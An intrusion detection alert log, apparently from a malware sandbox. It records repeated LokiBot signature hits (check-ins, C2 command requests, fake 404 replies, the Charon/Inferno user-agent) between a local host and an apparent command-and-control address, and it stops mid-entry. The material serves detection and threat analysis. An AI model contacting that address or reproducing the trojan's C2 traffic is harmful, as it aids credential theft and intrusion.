ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749778802024318 01/05/23-08:52:34.958959
SID:	2024318
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749906802825766 01/05/23-08:53:12.686115
SID:	2825766
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749985802825766 01/05/23-08:53:36.027311
SID:	2825766
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750030802024313 01/05/23-08:53:49.383588
SID:	2024313
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498102025483 01/05/23-08:52:43.945076
SID:	2025483
Source Port:	80
Destination Port:	49810
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499472025483 01/05/23-08:53:23.895642
SID:	2025483
Source Port:	80
Destination Port:	49947
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749735802024313 01/05/23-08:52:21.259701
SID:	2024313
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750030802024318 01/05/23-08:53:49.383588
SID:	2024318
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749745802024318 01/05/23-08:52:24.023320
SID:	2024318
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749939802825766 01/05/23-08:53:21.632432
SID:	2825766
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749718802025381 01/05/23-08:52:15.464089
SID:	2025381
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749745802024313 01/05/23-08:52:24.023320
SID:	2024313
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499062025483 01/05/23-08:53:12.766427
SID:	2025483
Source Port:	80
Destination Port:	49906
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499082025483 01/05/23-08:53:13.297314
SID:	2025483
Source Port:	80
Destination Port:	49908
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750017802024313 01/05/23-08:53:44.537455
SID:	2024313
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750073802024313 01/05/23-08:54:00.951462
SID:	2024313
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750017802024318 01/05/23-08:53:44.537455
SID:	2024318
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750073802024318 01/05/23-08:54:00.951462
SID:	2024318
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497612025483 01/05/23-08:52:28.674558
SID:	2025483
Source Port:	80
Destination Port:	49761
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749774802025381 01/05/23-08:52:32.369884
SID:	2025381
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749869802025381 01/05/23-08:53:01.298022
SID:	2025381
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749952802825766 01/05/23-08:53:25.200806
SID:	2825766
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749975802825766 01/05/23-08:53:33.363507
SID:	2825766
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749965802025381 01/05/23-08:53:30.671447
SID:	2025381
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750083802024318 01/05/23-08:54:03.789158
SID:	2024318
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500622025483 01/05/23-08:53:58.155004
SID:	2025483
Source Port:	80
Destination Port:	50062
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749834802825766 01/05/23-08:52:50.512718
SID:	2825766
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749755802024313 01/05/23-08:52:26.961334
SID:	2024313
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749910802021641 01/05/23-08:53:13.740225
SID:	2021641
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500512025483 01/05/23-08:53:55.178783
SID:	2025483
Source Port:	80
Destination Port:	50051
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749755802024318 01/05/23-08:52:26.961334
SID:	2024318
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750083802024313 01/05/23-08:54:03.789158
SID:	2024313
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749922802025381 01/05/23-08:53:17.061545
SID:	2025381
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750007802024318 01/05/23-08:53:41.829015
SID:	2024318
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750082802825766 01/05/23-08:54:03.532238
SID:	2825766
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498212025483 01/05/23-08:52:46.920509
SID:	2025483
Source Port:	80
Destination Port:	49821
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749879802025381 01/05/23-08:53:03.965987
SID:	2025381
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750007802024313 01/05/23-08:53:41.829015
SID:	2024313
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749929802825766 01/05/23-08:53:18.948979
SID:	2825766
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500142025483 01/05/23-08:53:43.800760
SID:	2025483
Source Port:	80
Destination Port:	50014
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749722802021641 01/05/23-08:52:17.506386
SID:	2021641
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750016802021641 01/05/23-08:53:44.267939
SID:	2021641
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749748802825766 01/05/23-08:52:24.879047
SID:	2825766
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749709802024313 01/05/23-08:52:11.256691
SID:	2024313
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749962802825766 01/05/23-08:53:29.855666
SID:	2825766
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749965802825766 01/05/23-08:53:30.671447
SID:	2825766
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749709802024318 01/05/23-08:52:11.256691
SID:	2024318
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749900802021641 01/05/23-08:53:10.997847
SID:	2021641
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749787802825766 01/05/23-08:52:37.509502
SID:	2825766
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749863802021641 01/05/23-08:52:59.703117
SID:	2021641
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497492025483 01/05/23-08:52:25.244471
SID:	2025483
Source Port:	80
Destination Port:	49749
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750049802021641 01/05/23-08:53:54.543372
SID:	2021641
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749807802021641 01/05/23-08:52:43.044779
SID:	2021641
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499192025483 01/05/23-08:53:16.269988
SID:	2025483
Source Port:	80
Destination Port:	49919
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749836802025381 01/05/23-08:52:51.681664
SID:	2025381
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498982025483 01/05/23-08:53:09.925316
SID:	2025483
Source Port:	80
Destination Port:	49898
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749788802024318 01/05/23-08:52:37.784136
SID:	2024318
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749788802024313 01/05/23-08:52:37.784136
SID:	2024313
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749995802825766 01/05/23-08:53:38.676723
SID:	2825766
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498872025483 01/05/23-08:53:06.208980
SID:	2025483
Source Port:	80
Destination Port:	49887
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498762025483 01/05/23-08:53:03.261443
SID:	2025483
Source Port:	80
Destination Port:	49876
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750040802024318 01/05/23-08:53:52.135869
SID:	2024318
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749824802825766 01/05/23-08:52:47.639113
SID:	2825766
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749955802025381 01/05/23-08:53:25.989714
SID:	2025381
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750040802024313 01/05/23-08:53:52.135869
SID:	2024313
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749890802825766 01/05/23-08:53:06.934564
SID:	2825766
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749991802025381 01/05/23-08:53:37.629731
SID:	2025381
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500362025483 01/05/23-08:53:51.130015
SID:	2025483
Source Port:	80
Destination Port:	50036
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749787802021641 01/05/23-08:52:37.509502
SID:	2021641
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750004802024313 01/05/23-08:53:41.033557
SID:	2024313
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750004802024318 01/05/23-08:53:41.033557
SID:	2024318
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749864802024318 01/05/23-08:52:59.960618
SID:	2024318
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749814802825766 01/05/23-08:52:44.953030
SID:	2825766
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498322025483 01/05/23-08:52:49.888875
SID:	2025483
Source Port:	80
Destination Port:	49832
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749725802825766 01/05/23-08:52:18.390674
SID:	2825766
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749856802025381 01/05/23-08:52:57.793570
SID:	2025381
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749959802024318 01/05/23-08:53:28.075379
SID:	2024318
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749702802021641 01/05/23-08:52:08.155254
SID:	2021641
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749864802024313 01/05/23-08:52:59.960618
SID:	2024313
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749953802024313 01/05/23-08:53:25.469204
SID:	2024313
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749781802021641 01/05/23-08:52:35.821668
SID:	2021641
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749953802024318 01/05/23-08:53:25.469204
SID:	2024318
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749945802025381 01/05/23-08:53:23.275014
SID:	2025381
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750052802025381 01/05/23-08:53:55.369344
SID:	2025381
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749899802825766 01/05/23-08:53:10.169881
SID:	2825766
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500032025483 01/05/23-08:53:40.844768
SID:	2025483
Source Port:	80
Destination Port:	50003
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750082802021641 01/05/23-08:54:03.532238
SID:	2021641
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749831802024318 01/05/23-08:52:49.539016
SID:	2024318
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749797802021641 01/05/23-08:52:40.255110
SID:	2021641
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749909802825766 01/05/23-08:53:13.489642
SID:	2825766
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749831802024313 01/05/23-08:52:49.539016
SID:	2024313
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750010802825766 01/05/23-08:53:42.643021
SID:	2825766
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749949802024318 01/05/23-08:53:24.361661
SID:	2024318
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749886802021641 01/05/23-08:53:05.845633
SID:	2021641
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750020802021641 01/05/23-08:53:45.631791
SID:	2021641
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749840802025381 01/05/23-08:52:53.465268
SID:	2025381
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497722025483 01/05/23-08:52:31.725573
SID:	2025483
Source Port:	80
Destination Port:	49772
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749846802025381 01/05/23-08:52:55.097334
SID:	2025381
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749949802024313 01/05/23-08:53:24.361661
SID:	2024313
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749935802025381 01/05/23-08:53:20.565175
SID:	2025381
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749781802825766 01/05/23-08:52:35.821668
SID:	2825766
